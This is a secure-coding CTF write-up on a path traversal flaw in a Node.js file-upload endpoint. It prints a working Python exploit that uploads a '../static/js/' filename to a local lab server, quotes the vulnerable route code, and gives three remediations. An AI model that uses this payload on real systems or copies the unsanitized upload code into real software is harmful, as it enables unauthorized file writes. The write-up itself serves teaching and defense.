Resourcehub Core - Secure Coding
Challenge Overview
This challenge presents a web application that allows users to upload resource files through an API endpoint. The application accepts file uploads and stores them in a designated resources directory. The goal is to identify and exploit a path traversal vulnerability in the file upload functionality to write files outside the intended directory structure.
Exploit Analysis
First, let’s examine the provided exploit that demonstrates the vulnerability:
from requests import get, post
import random
import string
import re
BASE_URL = "http://localhost:1337/challenge"
def generate_random_filename(prefix="testfile"):
random_part = "".join(random.choices(string.ascii_lowercase, k=6))
return f"{prefix}_{random_part}.txt"
def random_string(length=6):
return "".join(random.choices(string.ascii_lowercase, k=length))
def upload_resource(filename, content):
files = {
'file': (filename, content, 'text/plain')
}
data = {
'category': 'test',
'priority': 'low'
}
upload_url = f"{BASE_URL}/api/upload-resource"
response = post(upload_url, files=files, data=data)
return response
if __name__ == '__main__':
filename = generate_random_filename()
content = random_string(20)
response = upload_resource(f"../static/js/{filename}", content)
resources_url = f"{BASE_URL}/js/{filename}"
response = get(resources_url)
match = re.search(content, response.text)
if match:
print(f"Exploit success!")
print(f"Files uploaded on: {resources_url}")
else:
print(f"Exploit failed!")
The exploit follows this attack pattern:
- File Generation: Creates a random filename and content
- Path Traversal Payload: Uses
../static/js/{filename}
as the filename - File Upload: Uploads the file using the malicious filename
- Verification: Accesses the file through the web server at
/js/{filename}
- Success Confirmation: Checks if the uploaded content is accessible
The key insight is that the filename ../static/js/{filename}
allows writing files outside the intended resources
directory into the publicly accessible static/js
directory.
Vulnerability Analysis
Affected Endpoint
The vulnerability lies in the file upload endpoint:
POST /api/upload-resource
Code Analysis
Let’s examine the vulnerable backend code:
// routes/routes.js
router.post('/api/upload-resource', (req, res) => {
const form = formidable({
uploadDir: uploadsDir,
keepExtensions: true
});
form.parse(req, (err, fields, files) => {
if (err) {
return res.status(500).json({
success: false,
error: 'Upload failed',
details: err.message
});
}
// Kinda weird tho-- Access the first file from the files object
const file = Array.isArray(files.file) ? files.file[0] : files.file;
if (!file) {
return res.status(400).json({
success: false,
error: 'No file uploaded'
});
}
try {
const targetFilename = file.originalFilename;
const targetPath = path.join(__dirname, '../resources', targetFilename);
fs.renameSync(file.filepath, targetPath);
res.json({
success: true,
message: 'Resource uploaded successfully',
category: fields.category,
priority: fields.priority,
filename: targetFilename,
path: targetPath
});
} catch (error) {
res.status(500).json({
success: false,
error: 'Resource upload failed',
details: error.message
});
}
});
});
The vulnerability occurs because:
- No filename sanitization: The
file.originalFilename
is used directly without validation - Path traversal sequences:
../
sequences in the filename are not filtered - Unrestricted path construction:
path.join()
allows traversal outside the intended directory
Vulnerability Fixes
There are several viable approaches to mitigating this vulnerability. Below we present three common solutions, each with different tradeoffs in complexity and control.
Solution 1: Filename Sanitization
This approach ensures that user-supplied filenames are cleaned and made safe before being used in file paths. It replaces dangerous characters and adds uniqueness to avoid collisions.
// routes/routes.js - Filename Sanitization
router.post('/api/upload-resource', (req, res) => {
const form = formidable({
uploadDir: uploadsDir,
keepExtensions: true
});
form.parse(req, (err, fields, files) => {
if (err) {
return res.status(500).json({
success: false,
error: 'Upload failed',
details: err.message
});
}
const file = Array.isArray(files.file) ? files.file[0] : files.file;
if (!file) {
return res.status(400).json({
success: false,
error: 'No file uploaded'
});
}
try {
// Sanitize filename to prevent path traversal
const originalName = path.basename(file.originalFilename);
const safeFilename = originalName.replace(/[^a-zA-Z0-9._-]/g, '_');
// Add UUID or timestamp to prevent collisions
const uniqueName = `${Date.now()}_${safeFilename}`;
const targetPath = path.join(__dirname, '../resources', uniqueName);
fs.renameSync(file.filepath, targetPath);
res.json({
success: true,
message: 'Resource uploaded successfully',
category: fields.category,
priority: fields.priority,
filename: uniqueName,
path: targetPath
});
} catch (error) {
res.status(500).json({
success: false,
error: 'Resource upload failed',
details: error.message
});
}
});
});
This provides a quick fix and is easy to implement, but doesn’t prevent all types of attacks if sanitization is too permissive.
Solution 2: Path Validation with Explicit Checks
This method validates that the constructed path remains inside the intended directory, effectively neutralizing any path traversal attempts.
// routes/routes.js - Path Validation
router.post('/api/upload-resource', (req, res) => {
const form = formidable({
uploadDir: uploadsDir,
keepExtensions: true
});
form.parse(req, (err, fields, files) => {
if (err) {
return res.status(500).json({
success: false,
error: 'Upload failed',
details: err.message
});
}
const file = Array.isArray(files.file) ? files.file[0] : files.file;
if (!file) {
return res.status(400).json({
success: false,
error: 'No file uploaded'
});
}
try {
const targetFilename = path.basename(file.originalFilename);
// Validate filename doesn't contain dangerous patterns
if (targetFilename.includes('..') || targetFilename.includes('/') || targetFilename.includes('\\')) {
return res.status(400).json({
success: false,
error: 'Invalid filename detected'
});
}
const resourcesDir = path.resolve(__dirname, '../resources');
const targetPath = path.join(resourcesDir, targetFilename);
// Ensure the resolved path is still within the resources directory
if (!targetPath.startsWith(resourcesDir + path.sep)) {
return res.status(400).json({
success: false,
error: 'Path traversal detected'
});
}
fs.renameSync(file.filepath, targetPath);
res.json({
success: true,
message: 'Resource uploaded successfully',
category: fields.category,
priority: fields.priority,
filename: targetFilename,
path: targetPath
});
} catch (error) {
res.status(500).json({
success: false,
error: 'Resource upload failed',
details: error.message
});
}
});
});
This adds a defensive layer by enforcing directory containment after path resolution.
Solution 3: UUID-Based Approach with File Type Validation
Here, the server takes full control over filenames by generating UUIDs and enforcing a strict whitelist of allowed file extensions. This eliminates any risk related to user-supplied names.
// routes/routes.js - UUID-Based with Validation
const crypto = require('crypto');
const mime = require('mime-types');
router.post('/api/upload-resource', (req, res) => {
const form = formidable({
uploadDir: uploadsDir,
keepExtensions: true,
maxFileSize: 10 * 1024 * 1024 // 10MB limit
});
form.parse(req, (err, fields, files) => {
if (err) {
return res.status(500).json({
success: false,
error: 'Upload failed',
details: err.message
});
}
const file = Array.isArray(files.file) ? files.file[0] : files.file;
if (!file) {
return res.status(400).json({
success: false,
error: 'No file uploaded'
});
}
try {
// Generate UUID for filename
const fileExtension = path.extname(file.originalFilename);
const allowedExtensions = ['.txt', '.pdf', '.jpg', '.png', '.gif', '.doc', '.docx'];
if (!allowedExtensions.includes(fileExtension.toLowerCase())) {
return res.status(400).json({
success: false,
error: 'File type not allowed'
});
}
const uniqueFilename = crypto.randomUUID() + fileExtension;
const targetPath = path.join(__dirname, '../resources', uniqueFilename);
fs.renameSync(file.filepath, targetPath);
res.json({
success: true,
message: 'Resource uploaded successfully',
category: fields.category,
priority: fields.priority,
filename: uniqueFilename,
originalName: file.originalFilename,
path: targetPath
});
} catch (error) {
res.status(500).json({
success: false,
error: 'Resource upload failed',
details: error.message
});
}
});
});
This is the most robust and scalable solution, suitable for production environments where security and consistency are top priorities.
After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.
written by 0xbara